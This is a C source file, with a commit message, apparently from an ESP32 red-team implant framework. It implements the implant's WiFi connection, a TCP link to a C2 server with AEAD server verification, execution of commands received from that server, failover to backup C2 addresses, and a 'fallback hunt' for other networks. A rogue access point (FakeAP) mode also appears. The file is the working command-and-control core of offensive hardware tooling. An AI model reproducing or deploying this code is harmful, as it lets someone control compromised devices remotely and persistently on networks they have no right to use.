Move command registry from components/command/ into components/core/. New modules: mod_canbus, mod_honeypot, mod_fallback, mod_redteam, mod_ota. Replace mod_proxy with tun_core (multiplexed SOCKS5 tunnel). Kconfig extended with per-module settings and async worker config.
499 lines
15 KiB
C
499 lines
15 KiB
C
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
|
|
#include "lwip/sockets.h"
|
|
#include "lwip/netdb.h"
|
|
|
|
#include "esp_log.h"
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
#include "freertos/timers.h"
|
|
#include "esp_wifi.h"
|
|
#include "esp_event.h"
|
|
#include "esp_netif.h"
|
|
|
|
#include "c2.pb.h"
|
|
#include "pb_decode.h"
|
|
|
|
#include "freertos/semphr.h"
|
|
#include <stdatomic.h>
|
|
#include "utils.h"
|
|
|
|
#ifdef CONFIG_MODULE_FALLBACK
|
|
#include "fb_config.h"
|
|
#include "fb_hunt.h"
|
|
#endif
|
|
|
|
int sock = -1;
|
|
SemaphoreHandle_t sock_mutex = NULL;
|
|
|
|
/* Fallback hunt flag: when true, WiFi.c skips its own reconnect logic */
|
|
atomic_bool fb_active = false;
|
|
|
|
#ifdef CONFIG_NETWORK_WIFI
|
|
static const char *TAG = "CORE_WIFI";
|
|
|
|
#define RX_BUF_SIZE 4096
|
|
#define RECONNECT_DELAY_MS 5000
|
|
#define RX_TIMEOUT_S 10
|
|
|
|
/* =========================================================
|
|
* WiFi reconnect with exponential backoff + full restart
|
|
* ========================================================= */
|
|
#define WIFI_BACKOFF_INIT_MS 1000
|
|
#define WIFI_BACKOFF_MAX_MS 30000
|
|
#define WIFI_MAX_RETRIES 10 /* full restart after N failures */
|
|
|
|
static int wifi_retry_count = 0;
|
|
static uint32_t wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
|
static TimerHandle_t reconnect_timer = NULL;
|
|
|
|
static void wifi_reconnect_cb(TimerHandle_t t)
|
|
{
|
|
ESP_LOGI(TAG, "Reconnect attempt %d (backoff %lums)",
|
|
wifi_retry_count + 1, (unsigned long)wifi_backoff_ms);
|
|
|
|
if (wifi_retry_count >= WIFI_MAX_RETRIES) {
|
|
ESP_LOGW(TAG, "Max retries reached — full WiFi restart");
|
|
esp_wifi_stop();
|
|
vTaskDelay(pdMS_TO_TICKS(500));
|
|
esp_wifi_start();
|
|
esp_wifi_connect();
|
|
wifi_retry_count = 0;
|
|
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
|
return;
|
|
}
|
|
|
|
esp_wifi_connect();
|
|
}
|
|
|
|
/* =========================================================
|
|
* WiFi event handler — backoff reconnect on disconnect
|
|
* ========================================================= */
|
|
static void wifi_event_handler(void *arg, esp_event_base_t event_base,
|
|
int32_t event_id, void *event_data)
|
|
{
|
|
if (event_base == WIFI_EVENT && event_id == WIFI_EVENT_STA_DISCONNECTED) {
|
|
wifi_event_sta_disconnected_t *evt =
|
|
(wifi_event_sta_disconnected_t *)event_data;
|
|
|
|
/* If fallback hunt is active, it handles WiFi — skip reconnect */
|
|
if (fb_active) {
|
|
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fb_active — skipping reconnect)",
|
|
evt->reason);
|
|
return;
|
|
}
|
|
|
|
#ifdef CONFIG_MODULE_FAKEAP
|
|
/* If FakeAP is active, don't reconnect STA (would interfere with AP mode) */
|
|
if (fakeap_active) {
|
|
ESP_LOGI(TAG, "WiFi disconnected (reason=%d, fakeAP active — skipping reconnect)",
|
|
evt->reason);
|
|
return;
|
|
}
|
|
#endif
|
|
|
|
ESP_LOGW(TAG, "WiFi disconnected (reason=%d), retry in %lums",
|
|
evt->reason, (unsigned long)wifi_backoff_ms);
|
|
|
|
wifi_retry_count++;
|
|
|
|
#if defined(CONFIG_FB_AUTO_HUNT) && defined(CONFIG_FB_WIFI_FAIL_THRESHOLD)
|
|
if (wifi_retry_count >= CONFIG_FB_WIFI_FAIL_THRESHOLD && !fb_active) {
|
|
ESP_LOGW(TAG, "WiFi failures >= %d — triggering fallback hunt",
|
|
CONFIG_FB_WIFI_FAIL_THRESHOLD);
|
|
extern void fb_hunt_trigger(void);
|
|
fb_hunt_trigger();
|
|
return;
|
|
}
|
|
#endif
|
|
|
|
/* Schedule reconnect with backoff */
|
|
if (reconnect_timer) {
|
|
xTimerChangePeriod(reconnect_timer,
|
|
pdMS_TO_TICKS(wifi_backoff_ms),
|
|
0);
|
|
xTimerStart(reconnect_timer, 0);
|
|
}
|
|
|
|
/* Exponential backoff: 1s → 2s → 4s → ... → 30s */
|
|
wifi_backoff_ms *= 2;
|
|
if (wifi_backoff_ms > WIFI_BACKOFF_MAX_MS)
|
|
wifi_backoff_ms = WIFI_BACKOFF_MAX_MS;
|
|
}
|
|
|
|
if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
|
|
ip_event_got_ip_t *evt = (ip_event_got_ip_t *)event_data;
|
|
ESP_LOGI(TAG, "Got IP: " IPSTR, IP2STR(&evt->ip_info.ip));
|
|
|
|
/* Reset backoff on successful connection */
|
|
wifi_retry_count = 0;
|
|
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
|
|
|
if (reconnect_timer)
|
|
xTimerStop(reconnect_timer, 0);
|
|
}
|
|
}
|
|
|
|
/* =========================================================
|
|
* Pause/resume reconnect (used by Red Team hunt module)
|
|
* ========================================================= */
|
|
void wifi_pause_reconnect(void)
|
|
{
|
|
if (reconnect_timer)
|
|
xTimerStop(reconnect_timer, 0);
|
|
ESP_LOGI(TAG, "WiFi reconnect paused");
|
|
}
|
|
|
|
void wifi_resume_reconnect(void)
|
|
{
|
|
wifi_retry_count = 0;
|
|
wifi_backoff_ms = WIFI_BACKOFF_INIT_MS;
|
|
ESP_LOGI(TAG, "WiFi reconnect resumed (backoff reset)");
|
|
}
|
|
|
|
/* =========================================================
|
|
* WiFi init
|
|
* ========================================================= */
|
|
void wifi_init(void)
|
|
{
|
|
ESP_ERROR_CHECK(esp_netif_init());
|
|
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
|
esp_netif_create_default_wifi_sta();
|
|
esp_netif_create_default_wifi_ap();
|
|
|
|
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
|
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
|
|
|
/* Reconnect timer (one-shot, started on disconnect) */
|
|
reconnect_timer = xTimerCreate("wifi_reconn", pdMS_TO_TICKS(1000),
|
|
pdFALSE, NULL, wifi_reconnect_cb);
|
|
|
|
/* Register event handlers */
|
|
ESP_ERROR_CHECK(esp_event_handler_register(WIFI_EVENT, WIFI_EVENT_STA_DISCONNECTED,
|
|
&wifi_event_handler, NULL));
|
|
ESP_ERROR_CHECK(esp_event_handler_register(IP_EVENT, IP_EVENT_STA_GOT_IP,
|
|
&wifi_event_handler, NULL));
|
|
|
|
wifi_config_t wifi_config = {
|
|
.sta = {
|
|
.ssid = CONFIG_WIFI_SSID,
|
|
.password = CONFIG_WIFI_PASS,
|
|
},
|
|
};
|
|
|
|
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_STA));
|
|
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &wifi_config));
|
|
ESP_ERROR_CHECK(esp_wifi_start());
|
|
ESP_ERROR_CHECK(esp_wifi_connect());
|
|
|
|
ESP_LOGI(TAG, "Connecting to WiFi SSID=%s", CONFIG_WIFI_SSID);
|
|
}
|
|
|
|
/* =========================================================
|
|
* TCP connect
|
|
* ========================================================= */
|
|
static bool tcp_connect(void)
|
|
{
|
|
struct sockaddr_in server_addr = {0};
|
|
|
|
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
|
if (new_sock < 0) {
|
|
ESP_LOGE(TAG, "socket() failed");
|
|
return false;
|
|
}
|
|
|
|
server_addr.sin_family = AF_INET;
|
|
server_addr.sin_port = htons(CONFIG_SERVER_PORT);
|
|
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
|
|
|
|
if (lwip_connect(new_sock,
|
|
(struct sockaddr *)&server_addr,
|
|
sizeof(server_addr)) != 0) {
|
|
ESP_LOGE(TAG, "connect() failed");
|
|
lwip_close(new_sock);
|
|
return false;
|
|
}
|
|
|
|
/* Recv timeout: prevents blocking forever if C2 dies without FIN */
|
|
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
|
|
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
|
|
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
|
sock = new_sock;
|
|
xSemaphoreGive(sock_mutex);
|
|
|
|
ESP_LOGI(TAG, "Connected to %s:%d",
|
|
CONFIG_SERVER_IP,
|
|
CONFIG_SERVER_PORT);
|
|
return true;
|
|
}
|
|
|
|
|
|
/* =========================================================
|
|
* Server identity verification (challenge-response AEAD)
|
|
*
|
|
* Sends HELLO:device_id, server responds with AEAD-encrypted
|
|
* challenge. If we can decrypt it (tag OK), the server has
|
|
* the correct key and is authentic.
|
|
* ========================================================= */
|
|
#ifdef CONFIG_C2_VERIFY_SERVER
|
|
static bool server_verify(void)
|
|
{
|
|
/* 1) Send HELLO:device_id\n */
|
|
char hello[128];
|
|
snprintf(hello, sizeof(hello), "HELLO:%s\n", CONFIG_DEVICE_ID);
|
|
|
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
|
int s = sock;
|
|
xSemaphoreGive(sock_mutex);
|
|
|
|
if (lwip_write(s, hello, strlen(hello)) <= 0) {
|
|
ESP_LOGE(TAG, "server_verify: failed to send HELLO");
|
|
return false;
|
|
}
|
|
|
|
/* 2) Read server challenge (recv timeout already set to 10s) */
|
|
uint8_t rx_buf[256];
|
|
int len = lwip_recv(s, rx_buf, sizeof(rx_buf) - 1, 0);
|
|
if (len <= 0) {
|
|
ESP_LOGE(TAG, "server_verify: no challenge received");
|
|
return false;
|
|
}
|
|
rx_buf[len] = '\0';
|
|
|
|
/* Strip trailing newline/CR */
|
|
while (len > 0 && (rx_buf[len - 1] == '\n' || rx_buf[len - 1] == '\r'))
|
|
rx_buf[--len] = '\0';
|
|
|
|
if (len == 0) {
|
|
ESP_LOGE(TAG, "server_verify: empty challenge");
|
|
return false;
|
|
}
|
|
|
|
/* 3) Base64 decode */
|
|
size_t decoded_len = 0;
|
|
char *decoded = base64_decode((char *)rx_buf, &decoded_len);
|
|
if (!decoded || decoded_len < 28) { /* nonce(12) + tag(16) minimum */
|
|
ESP_LOGE(TAG, "server_verify: base64 decode failed");
|
|
free(decoded);
|
|
return false;
|
|
}
|
|
|
|
/* 4) Decrypt — AEAD tag verification proves server identity */
|
|
uint8_t plain[256];
|
|
int plain_len = crypto_decrypt((uint8_t *)decoded, decoded_len,
|
|
plain, sizeof(plain));
|
|
free(decoded);
|
|
|
|
if (plain_len < 0) {
|
|
ESP_LOGE(TAG, "server_verify: AEAD verification FAILED");
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
#endif /* CONFIG_C2_VERIFY_SERVER */
|
|
|
|
/* =========================================================
|
|
* Handle incoming frame
|
|
* ========================================================= */
|
|
static void handle_frame(const uint8_t *buf, size_t len)
|
|
{
|
|
if (len == 0 || len >= RX_BUF_SIZE) {
|
|
ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len);
|
|
return;
|
|
}
|
|
/* buf is already null-terminated by strtok in tcp_rx_loop,
|
|
and c2_decode_and_exec makes its own 1024-byte copy. */
|
|
c2_decode_and_exec((const char *)buf);
|
|
}
|
|
|
|
|
|
/* =========================================================
|
|
* TCP RX loop
|
|
* Returns: true = still connected, false = disconnected
|
|
* ========================================================= */
|
|
static bool tcp_rx_loop(void)
|
|
{
|
|
static uint8_t rx_buf[RX_BUF_SIZE];
|
|
|
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
|
int current_sock = sock;
|
|
xSemaphoreGive(sock_mutex);
|
|
|
|
if (current_sock < 0) return false;
|
|
|
|
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
|
|
if (len < 0) {
|
|
/* Timeout is normal (EAGAIN/EWOULDBLOCK) — not a disconnect */
|
|
if (errno == EAGAIN || errno == EWOULDBLOCK) {
|
|
return true;
|
|
}
|
|
ESP_LOGW(TAG, "RX error: errno=%d", errno);
|
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
|
lwip_close(sock);
|
|
sock = -1;
|
|
xSemaphoreGive(sock_mutex);
|
|
return false;
|
|
}
|
|
if (len == 0) {
|
|
ESP_LOGW(TAG, "RX: peer closed connection");
|
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
|
lwip_close(sock);
|
|
sock = -1;
|
|
xSemaphoreGive(sock_mutex);
|
|
return false;
|
|
}
|
|
|
|
/* IMPORTANT: string termination for strtok */
|
|
rx_buf[len] = '\0';
|
|
|
|
char *saveptr = NULL;
|
|
char *line = strtok_r((char *)rx_buf, "\n", &saveptr);
|
|
while (line) {
|
|
handle_frame((uint8_t *)line, strlen(line));
|
|
line = strtok_r(NULL, "\n", &saveptr);
|
|
}
|
|
return true;
|
|
}
|
|
|
|
/* =========================================================
|
|
* C2 failover: try NVS fallback addresses on same network
|
|
* ========================================================= */
|
|
#ifdef CONFIG_FB_AUTO_HUNT
|
|
|
|
static bool try_fallback_c2s(void)
|
|
{
|
|
fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
|
|
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
|
|
|
|
for (int i = 0; i < count; i++) {
|
|
char ip_buf[48];
|
|
int port = CONFIG_SERVER_PORT;
|
|
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
|
|
ip_buf[sizeof(ip_buf) - 1] = '\0';
|
|
|
|
/* Parse "ip:port" format */
|
|
char *colon = strrchr(ip_buf, ':');
|
|
if (colon) {
|
|
*colon = '\0';
|
|
port = atoi(colon + 1);
|
|
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
|
|
}
|
|
|
|
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
|
|
|
|
/* Close current socket */
|
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
|
if (sock >= 0) { lwip_close(sock); sock = -1; }
|
|
xSemaphoreGive(sock_mutex);
|
|
|
|
/* Try connect to fallback C2 */
|
|
struct sockaddr_in server_addr = {0};
|
|
int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
|
|
if (new_sock < 0) continue;
|
|
|
|
server_addr.sin_family = AF_INET;
|
|
server_addr.sin_port = htons(port);
|
|
server_addr.sin_addr.s_addr = inet_addr(ip_buf);
|
|
|
|
if (lwip_connect(new_sock, (struct sockaddr *)&server_addr,
|
|
sizeof(server_addr)) != 0) {
|
|
lwip_close(new_sock);
|
|
continue;
|
|
}
|
|
|
|
struct timeval tv = { .tv_sec = RX_TIMEOUT_S, .tv_usec = 0 };
|
|
lwip_setsockopt(new_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
|
|
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
|
sock = new_sock;
|
|
xSemaphoreGive(sock_mutex);
|
|
|
|
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
|
|
return true;
|
|
}
|
|
return false;
|
|
}
|
|
|
|
#endif /* CONFIG_FB_AUTO_HUNT */
|
|
|
|
/* =========================================================
|
|
* Main TCP client task
|
|
* ========================================================= */
|
|
void tcp_client_task(void *pvParameters)
|
|
{
|
|
if (!sock_mutex)
|
|
sock_mutex = xSemaphoreCreateMutex();
|
|
|
|
#ifdef CONFIG_FB_AUTO_HUNT
|
|
int tcp_fail_count = 0;
|
|
#endif
|
|
|
|
while (1) {
|
|
|
|
/* If fallback hunt is active, wait for it to finish */
|
|
while (fb_active) {
|
|
vTaskDelay(pdMS_TO_TICKS(1000));
|
|
}
|
|
|
|
if (!tcp_connect()) {
|
|
#ifdef CONFIG_FB_AUTO_HUNT
|
|
tcp_fail_count++;
|
|
ESP_LOGW(TAG, "TCP connect failed (%d/%d)",
|
|
tcp_fail_count, CONFIG_FB_TCP_FAIL_THRESHOLD);
|
|
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD && !fb_active) {
|
|
/* Level 1: C2 failover on same network */
|
|
if (try_fallback_c2s()) {
|
|
tcp_fail_count = 0;
|
|
goto handshake;
|
|
}
|
|
/* Level 2: full network hunt */
|
|
ESP_LOGW(TAG, "All C2 unreachable — triggering fallback hunt");
|
|
fb_hunt_trigger();
|
|
tcp_fail_count = 0;
|
|
continue;
|
|
}
|
|
#endif
|
|
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
|
continue;
|
|
}
|
|
|
|
#ifdef CONFIG_FB_AUTO_HUNT
|
|
tcp_fail_count = 0;
|
|
#endif
|
|
|
|
#ifdef CONFIG_C2_VERIFY_SERVER
|
|
if (!server_verify()) {
|
|
ESP_LOGE(TAG, "Server verification FAILED - possible MITM");
|
|
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
|
lwip_close(sock);
|
|
sock = -1;
|
|
xSemaphoreGive(sock_mutex);
|
|
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
|
continue;
|
|
}
|
|
ESPILON_LOGI_PURPLE(TAG, "Server identity verified (AEAD challenge OK)");
|
|
#endif
|
|
|
|
#ifdef CONFIG_FB_AUTO_HUNT
|
|
handshake:
|
|
#endif
|
|
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
|
|
ESP_LOGI(TAG, "Handshake done");
|
|
|
|
while (sock >= 0) {
|
|
if (!tcp_rx_loop()) break;
|
|
vTaskDelay(1);
|
|
}
|
|
|
|
ESP_LOGW(TAG, "Disconnected, retrying...");
|
|
vTaskDelay(pdMS_TO_TICKS(RECONNECT_DELAY_MS));
|
|
}
|
|
}
|
|
|
|
#endif /* CONFIG_NETWORK_WIFI */
|